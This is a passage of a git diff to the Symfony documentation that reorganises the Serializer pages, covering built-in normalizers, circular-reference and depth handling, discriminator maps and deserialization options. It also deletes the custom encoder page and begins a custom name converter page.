+    This normalizer converts between :phpclass:`DateTimeZone` objects and strings that
+    represent the name of the timezone according to the `list of PHP timezones`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
+    This normalizes between :phpclass:`DateInterval` objects and strings.
+    By default, the ``P%yY%mM%dDT%hH%iM%sS`` format is used. Use the
+    ``DateIntervalNormalizer::FORMAT_KEY`` option to change this.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
+    This normalizer works with classes that implement
+    :class:`Symfony\\Component\\Form\\FormInterface`.
+
+    It will get errors from the form and normalize them according to the
+    API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+    This normalizer converts objects implementing :class:`Symfony\\Contracts\\Translation\\TranslatableInterface`
+    to a translated string using the :doc:`translator </translation>`.
+
+    You can define the locale to use to translate the object by setting the
+    ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` context option.
+
+    .. versionadded:: 6.4
+
+        The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
+        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+        was introduced in Symfony 6.4.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    This normalizer converts between :phpclass:`BackedEnum` enums and
+    strings or integers.
+
+    By default, an exception is thrown when data is not a valid backed enumeration. If you
+    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
+
+    .. versionadded:: 6.3
+
+        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
+    This normalizer converts between :phpclass:`SplFileInfo` objects and a
+    `data URI`_ string (``data:...``) such that files can be embedded into
+    serialized data.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
+    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
+
+    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
+    then further normalize the result. This means that nested
+    :phpclass:`JsonSerializable` classes will also be normalized.
+
+    This normalizer is particularly helpful when you want to gradually migrate
+    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
+    Serializer by allowing you to mix which normalizers are used for which classes.
+
+    Unlike with :phpfunction:`json_encode` circular references can be handled.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
+    This denormalizer converts an array of arrays to an array of objects
+    (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
+    This is the most powerful default normalizer and used for any object
+    that could not be normalized by the other normalizers.
+
+    It leverages the :doc:`PropertyAccess Component </components/property_access>`
+    to read and write in the object. This allows it to access properties
+    directly or using getters, setters, hassers, issers, canners, adders and
+    removers. Names are generated by removing the ``get``, ``set``,
+    ``has``, ``is``, ``add`` or ``remove`` prefix from the method name and
+    transforming the first letter to lowercase (e.g. ``getFirstName()`` ->
+    ``firstName``).
+
+    During denormalization, it supports using the constructor as well as
+    the discovered methods.
+
+:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`
+
+.. danger::
+
+    Always make sure the ``DateTimeNormalizer`` is registered when
+    serializing the ``DateTime`` or ``DateTimeImmutable`` classes to avoid
+    excessive memory usage and exposing internal details.
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+Besides the normalizers registered by default (see previous section), the
+serializer component also provides some extra normalizers.You can register
+these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
+For instance, to use the ``CustomNormalizer`` you have to define a service
+like:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            # if you're using autoconfigure, the tag will be automatically applied
+            Symfony\Component\Serializer\Normalizer\CustomNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- if you're using autoconfigure, the tag will be automatically applied -->
+                <service id="Symfony\Component\Serializer\Normalizer\CustomNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(CustomNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
         };
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    This normalizer calls a method on the PHP object when normalizing. The
+    PHP object must implement :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+    and/or :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    This normalizer is an alternative to the default ``ObjectNormalizer``.
+    It reads the content of the class by calling the "getters" (public
+    methods starting with ``get``, ``has``, ``is`` or ``can``). It will
+    denormalize data by calling the constructor and the "setters" (public
+    methods starting with ``set``).
+
+    Objects are normalized to a map of property names and values (names are
+    generated by removing the ``get`` prefix from the method name and transforming
+    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    This is yet another alternative to the ``ObjectNormalizer``. This
+    normalizer directly reads and writes public properties as well as
+    **private and protected** properties (from both the class and all of
+    its parent classes) by using `PHP reflection`_. It supports calling the
+    constructor during the denormalization process.
+
+    Objects are normalized to a map of property names to property values.
+
+    You can also limit the normalizer to only use properties with a specific
+    visibility (e.g. only public properties) using the
+    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option. You can set it
+    to any combination of the ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    ``PropertyNormalizer::NORMALIZE_PROTECTED`` and
+    ``PropertyNormalizer::NORMALIZE_PRIVATE`` constants::
+
+        use Symfony\Component\Serializer\Normalizer\PropertyNormalizer;
+        // ...
+
+        $json = $serializer->serialize($person, 'json', [
+            // only serialize public properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC,
+
+            // serialize public and protected properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED,
+        ]);
+
+    .. versionadded:: 6.2
+
+        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
+        values were introduced in Symfony 6.2.
+
 Debugging the Serializer
 ------------------------
 
+.. versionadded:: 6.3
+
+    The debug:serializer`` command was introduced in Symfony 6.3.
+
 Use the ``debug:serializer`` command to dump the serializer metadata of a
 given class:
 
@@ -553,39 +1520,609 @@ given class:
         |          | ]                                                          |
         +----------+------------------------------------------------------------+
 
+Advanced Serialization
+----------------------
+
+Skipping ``null`` Values
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will preserve properties containing a ``null`` value.
+You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
+to ``true``::
+
+    class Person
+    {
+        public string $name = 'Jane Doe';
+        public ?string $gender = null;
+    }
+
+    $jsonContent = $serializer->serialize(new Person(), 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true,
+    ]);
+    // $jsonContent contains {"name":"Jane Doe"}
+
+Handling Uninitialized Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In PHP, typed properties have an ``uninitialized`` state which is different
+from the default ``null`` of untyped properties. When you try to access a typed
+property before giving it an explicit value, you get an error.
+
+To avoid the serializer throwing an error when serializing or normalizing
+an object with uninitialized properties, by default the ``ObjectNormalizer``
+catches these errors and ignores such properties.
+
+You can disable this behavior by setting the
+``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to
+``false``::
+
+    class Person {
+        public string $name = 'Jane Doe';
+        public string $phoneNumber; // uninitialized
+    }
+
+    $jsonContent = $normalizer->serialize(new Dummy(), 'json', [
+        AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false,
+    ]);
+    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException
+    // as the ObjectNormalizer cannot read uninitialized properties
+
+.. note::
+
+    Using :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    or :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context
+    option set to ``false`` will throw an ``\Error`` instance if the given
+    object has uninitialized properties as the normalizers cannot read them
+    (directly or via getter/isser methods).
+
+.. _component-serializer-handling-circular-references:
+
+Handling Circular References
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Circular references are common when dealing with associated objects::
+
+    class Organization
+    {
+        public function __construct(
+            private string $name,
+            private array $members = []
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function addMember(Member $member): void
+        {
+            $this->members[] = $member;
+        }
+
+        public function getMembers(): array
+        {
+            return $this->members;
+        }
+    }
+
+    class Member
+    {
+        private Organization $organization;
+
+        public function __construct(
+            private string $name
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function setOrganization(Organization $organization): void
+        {
+            $this->organization = $organization;
+        }
+
+        public function getOrganization(): Organization
+        {
+            return $this->organization;
+        }
+    }
+
+To avoid infinite loops, the normalizers throw a
+:class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
+when such a case is encountered::
+
+    $organization = new Organization('Les-Tilleuls.coop');
+    $member = new Member('Kévin');
+
+    $organization->addMember($member);
+    $member->setOrganization($organization);
+
+    $jsonContent = $serializer->serialize($organization, 'json');
+    // throws a CircularReferenceException
+
+The key ``circular_reference_limit`` in the context sets the number of
+times it will serialize the same object before considering it a circular
+reference. The default value is ``1``.
+
+Instead of throwing an exception, circular references can also be handled
+by custom callables. This is especially useful when serializing entities
+having unique identifiers::
+
+    use Symfony\Component\Serializer\Exception\CircularReferenceException;
+
+    $context = [
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
+            if (!$object instanceof Organization) {
+                throw new CircularReferenceException('A circular reference has been detected when serializing the object of class "'.get_debug_type($object).'".');
+            }
+
+            // serialize the nested Organization with only the name (and not the members)
+            return $object->getName();
+        },
+    ];
+
+    $jsonContent = $serializer->serialize($organization, 'json', $context);
+    // $jsonContent contains {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
+
+.. _serializer_handling-serialization-depth:
+
+Handling Serialization Depth
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also detect nested objects of the same class and limit
+the serialization depth. This is useful for tree structures, where the same
+object is nested multiple times.
+
+For instance, assume a data structure of a family tree::
+
+    // ...
+    class Person
+    {
+        // ...
+
+        public function __construct(
+            private string $name,
+            private ?self $mother
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function getMother(): ?self
+        {
+            return $this->mother;
+        }
+
+        // ...
+    }
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+You can specify the maximum depth for a given property. For instance, you
+can set the max depth to ``1`` to always only serialize someone's mother
+(and not their grandmother, etc.):
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\MaxDepth;
+
+        class Person
+        {
+            #[MaxDepth(1)]
+            private ?self $mother;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                mother:
+                    max_depth: 1
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="mother" max-depth="1"/>
+            </class>
+        </serializer>
+
+To limit the serialization depth, you must set the
+``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key to ``true`` in the
+context (or the default context specified in ``framework.yaml``)::
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie"}}
+
+You can also configure a custom callable that is used when the maximum
+depth is reached. This can be used to for instance return the unique
+identifier of the next nested object, instead of omitting the property::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+    // ...
+
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+    // all callback parameters are optional (you can omit the ones you don't use)
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
+        // return only the name of the next person in the tree
+        return $innerObject instanceof Person ? $innerObject->getName() : null;
+    };
+
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
+        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie","mother":"Jane"}}
+
+Using Callbacks to Serialize Properties with Object Instances
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When serializing, you can set a callback to format a specific object
+property. This can be used instead of
+:ref:`defining the context for a group <serializer-context-group>`::
+
+    $person = new Person('cordoval', 34);
+    $person->setCreatedAt(new \DateTime('now'));
+
+    $context = [
+        AbstractNormalizer::CALLBACKS => [
+            // all callback parameters are optional (you can omit the ones you don't use)
+            'createdAt' => function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []) {
+                return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
+            },
+        ],
+    ];
+    $jsonContent = $serializer->serialize($person, 'json');
+    // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"}
+
+Advanced Deserialization
+------------------------
+
+Require all Properties
+~~~~~~~~~~~~~~~~~~~~~~
+
 .. versionadded:: 6.3
 
-    The debug:serializer`` command was introduced in Symfony 6.3.
+    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+    was introduced in Symfony 6.3.
 
-Going Further with the Serializer
----------------------------------
+By default, the Serializer will add ``null`` to nullable properties when
+the parameters for those are not provided. You can change this behavior by
+setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
+to ``true``::
+
+    class Person
+    {
+        public function __construct(
+            public string $firstName,
+            public ?string $lastName,
+        ) {
+        }
+    }
+
+    // ...
+    $data = ['firstName' => 'John'];
+    $person = $serializer->deserialize($data, Person::class, 'json', [
+        AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true,
+    ]);
+    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
+
+Collecting Type Errors While Denormalizing
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
+
+Use the ``COLLECT_DENORMALIZATION_ERRORS`` option to collect all exceptions
+at once, and to get the object partially denormalized::
+
+    try {
+        $person = $serializer->deserialize($jsonString, Person::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+
+        /** @var NotNormalizableValueException $exception */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        }
+
+        // ... return violation list to the user
+    }
+
+.. _serializer-populate-existing-object:
+
+Deserializing in an Existing Object
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also be used to update an existing object. You can do
+this by configuring the ``object_to_populate`` serializer context option::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 59);
+
+    $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::OBJECT_TO_POPULATE => $person,
+    ]);
+    // instead of returning a new object, $person is updated instead
+
+.. note::
+
+    The ``AbstractNormalizer::OBJECT_TO_POPULATE`` option is only used for
+    the top level object. If that object is the root of a tree structure,
+    all child elements that exist in the normalized data will be re-created
+    with new instances.
+
+    When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` context
+    option is set to ``true``, existing children of the root ``OBJECT_TO_POPULATE``
+    are updated from the normalized data, instead of the denormalizer
+    re-creating them. This only works for single child objects, not for
+    arrays of objects. Those will still be replaced when present in the
+    normalized data.
+
+.. _serializer_interfaces-and-abstract-classes:
+
+Deserializing Interfaces and Abstract Classes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When working with associated objects, a property sometimes reference an
+interface or abstract class. When deserializing these properties, the
+Serializer has to know which concrete class to initialize. This is done
+using a *discriminator class mapping*.
+
+Imagine there is an ``InvoiceItemInterface`` that is implemented by the
+``Product`` and ``Shipping`` objects. When serializing an object, the
+serializer will add an extra "discriminator attribute". This contains
+either ``product`` or ``shipping``. The discriminator class map maps
+these type names to the real PHP class name when deserializing:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\DiscriminatorMap;
+
+        #[DiscriminatorMap(
+            typeProperty: 'type',
+            mapping: [
+                'product' => Product::class,
+                'shipping' => Shipping::class,
+            ]
+        )]
+        interface InvoiceItemInterface
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\InvoiceItemInterface:
+            discriminator_map:
+                type_property: type
+                mapping:
+                    product: 'App\Model\Product'
+                    shipping: 'App\Model\Shipping'
+
+    .. code-block:: xml
 
-`API Platform`_ provides an API system supporting the following formats:
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\InvoiceItemInterface">
+                <discriminator-map type-property="type">
+                    <mapping type="product" class="App\Model\Product"/>
+                    <mapping type="shipping" class="App\Model\Shipping"/>
+                </discriminator-map>
+            </class>
+        </serializer>
+
+With the discriminator map configured, the serializer can now pick the
+correct class for properties typed as `InvoiceItemInterface`::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+    .. code-block:: php-standalone
+
+        // ...
+        use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        class InvoiceLine
+        {
+            public function __construct(
+                private InvoiceItemInterface $invoiceItem
+            ) {
+                $this->invoiceItem = $invoiceItem;
+            }
+
+            public function getInvoiceItem(): InvoiceItemInterface
+            {
+                return $this->invoiceItem;
+            }
+
+            // ...
+        }
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like DiscriminatorMap.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $invoiceLine = new InvoiceLine(new Product());
+
+        $jsonString = $serializer->serialize($invoiceLine, 'json');
+        // $jsonString contains {"type":"product",...}
+
+        $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+.. _serializer-unwrapping-denormalizer:
+
+Deserializing Input Partially (Unwrapping)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer will always deserialize the complete input string into PHP
+values. When connecting with third party APIs, you often only need a
+specific part of the returned response.
+
+To avoid deserializing the whole response, you can use the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+and "unwrap" the input data::
+
+    $jsonData = '{"result":"success","data":{"person":{"name": "Jane Doe","age":57}}}';
+    $data = $serialiser->deserialize($jsonData, Object::class, [
+        UnwrappingDenormalizer::UNWRAP_PATH => '[data][person]',
+    ]);
+    // $data is Person(name: 'Jane Doe', age: 57)
+
+The ``unwrap_path`` is a :ref:`property path <property-access-reading-arrays>`
+of the PropertyAccess component, applied on the denormalized array.
+
+Handling Constructor Arguments
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If the class constructor defines arguments, as usually happens with
+`Value Objects`_, the serializer will match the parameter names with the
+deserialized attributes. If some parameters are missing, a
+:class:`Symfony\\Component\\Serializer\\Exception\\MissingConstructorArgumentsException`
+is thrown.
+
+In these cases, use the ``default_constructor_arguments`` context option to
+define default values for the missing parameters::
 
-* `JSON-LD`_ along with the `Hydra Core Vocabulary`_
-* `OpenAPI`_ v2 (formerly Swagger) and v3
-* `GraphQL`_
-* `JSON:API`_
-* `HAL`_
-* JSON
-* XML
-* YAML
-* CSV
+    use App\Model\Person;
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
 
-It is built on top of the Symfony Framework and its Serializer
-component. It provides custom normalizers and a custom encoder, custom metadata
-and a caching system.
+    $jsonData = '{"age":39,"name":"Jane Doe"}';
+    $person = $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
+            Person::class => ['sportsperson' => true],
+        ],
+    ]);
+    // $person is Person(name: 'Jane Doe', age: 39, sportsperson: true);
+
+Recursive Denormalization and Type Safety
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When a ``PropertyTypeExtractor`` is available, the normalizer will also
+check that the data to denormalize matches the type of the property (even
+for primitive types). For instance, if a ``string`` is provided, but the
+type of the property is ``int``, an
+:class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
+will be thrown. The type enforcement of the properties can be disabled by
+setting the serializer context option
+``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` to ``true``.
+
+.. _serializer-enabling-metadata-cache:
+
+Configuring the Metadata Cache
+------------------------------
+
+The metadata for the serializer is automatically cached to enhance application
+performance. By default, the serializer uses the ``cache.system`` cache pool
+which is configured using the :ref:`cache.system <reference-cache-system>`
+option.
 
-If you want to leverage the full power of the Symfony Serializer component,
-take a look at how this bundle works.
+Going Further with the Serializer
+---------------------------------
 
 .. toctree::
+    :glob:
     :maxdepth: 1
 
-    serializer/custom_encoders
-    serializer/custom_normalizer
-    serializer/custom_context_builders
+    serializer/*
 
+.. _`JMS serializer`: https://github.com/schmittjoh/serializer
 .. _`API Platform`: https://api-platform.com
 .. _`JSON-LD`: https://json-ld.org
 .. _`Hydra Core Vocabulary`: https://www.hydra-cg.com/
@@ -593,3 +2130,10 @@ take a look at how this bundle works.
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
 .. _`HAL`: https://stateless.group/hal_specification.html
+.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
+.. _`RFC 3339`: https://tools.ietf.org/html/rfc3339#section-5.8
+.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
+.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 31fba6c90f5..acb6a8b6ee3 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -5,11 +5,9 @@ How to Create your Custom Context Builder
 
     Context builders were introduced in Symfony 6.1.
 
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-and Encoders to transform any data to any data-structure (e.g. JSON).
-That serialization process can be configured thanks to a
-:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to
-:ref:`context builders <component-serializer-context-builders>`.
+That serialization process of the :doc:`Serializer Component </serializer>`
+can be configured by the :ref:`serialization context <serializer-context>`,
+which can be built thanks to :ref:`context builders <serializer-using-context-builders>`.
 
 Each built-in normalizer/encoder has its related context builder. However, you
 may want to create a custom context builder for your
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
deleted file mode 100644
index dca6aa12ec4..00000000000
--- a/serializer/custom_encoders.rst
+++ /dev/null
@@ -1,61 +0,0 @@
-How to Create your Custom Encoder
-=================================
-
-The :doc:`Serializer Component </components/serializer>` uses Normalizers
-to transform any data to an array. Then, by leveraging *Encoders*, that data can
-be converted into any data-structure (e.g. JSON).
-
-The Component provides several built-in encoders that are described
-:doc:`in the serializer component </components/serializer>` but you may want
-to use another structure that's not supported.
-
-Creating a new encoder
-----------------------
-
-Imagine you want to serialize and deserialize YAML. For that you'll have to
-create your own encoder that uses the
-:doc:`Yaml Component </components/yaml>`::
-
-    // src/Serializer/YamlEncoder.php
-    namespace App\Serializer;
-
-    use Symfony\Component\Serializer\Encoder\DecoderInterface;
-    use Symfony\Component\Serializer\Encoder\EncoderInterface;
-    use Symfony\Component\Yaml\Yaml;
-
-    class YamlEncoder implements EncoderInterface, DecoderInterface
-    {
-        public function encode($data, string $format, array $context = []): string
-        {
-            return Yaml::dump($data);
-        }
-
-        public function supportsEncoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-
-        public function decode(string $data, string $format, array $context = []): array
-        {
-            return Yaml::parse($data);
-        }
-
-        public function supportsDecoding(string $format, array $context = []): bool
-        {
-            return 'yaml' === $format;
-        }
-    }
-
-Registering it in your app
---------------------------
-
-If you use the Symfony Framework, then you probably want to register this encoder
-as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that's done automatically!
-
-.. tip::
-
-    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
-    to register your class as a service and tag it with ``serializer.encoder``.
-
-Now you'll be able to serialize and deserialize YAML!
diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
new file mode 100644
index 00000000000..82247134217
--- /dev/null
+++ b/serializer/custom_name_converter.rst
@@ -0,0 +1,105 @@
+How to Create your Custom Name Converter
+========================================
+
+The Serializer Component uses :ref:`name converters <serializer-name-conversion>`
+to transform the attribute names (e.g. from snake_case in JSON to CamelCase
+for PHP properties).
+
+Imagine you have the following object::
+
+    namespace App\Model;
+
+    class Company
+    {
+        public string $name;
+        public string $address;
+    }
+
+And in the serialized form, all attributes must be prefixed by ``org_`` like
+the following:
+
+.. code-block:: json
+
+    {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+
+A custom name converter can handle such cases::
+
+    namespace App\Serializer;
+
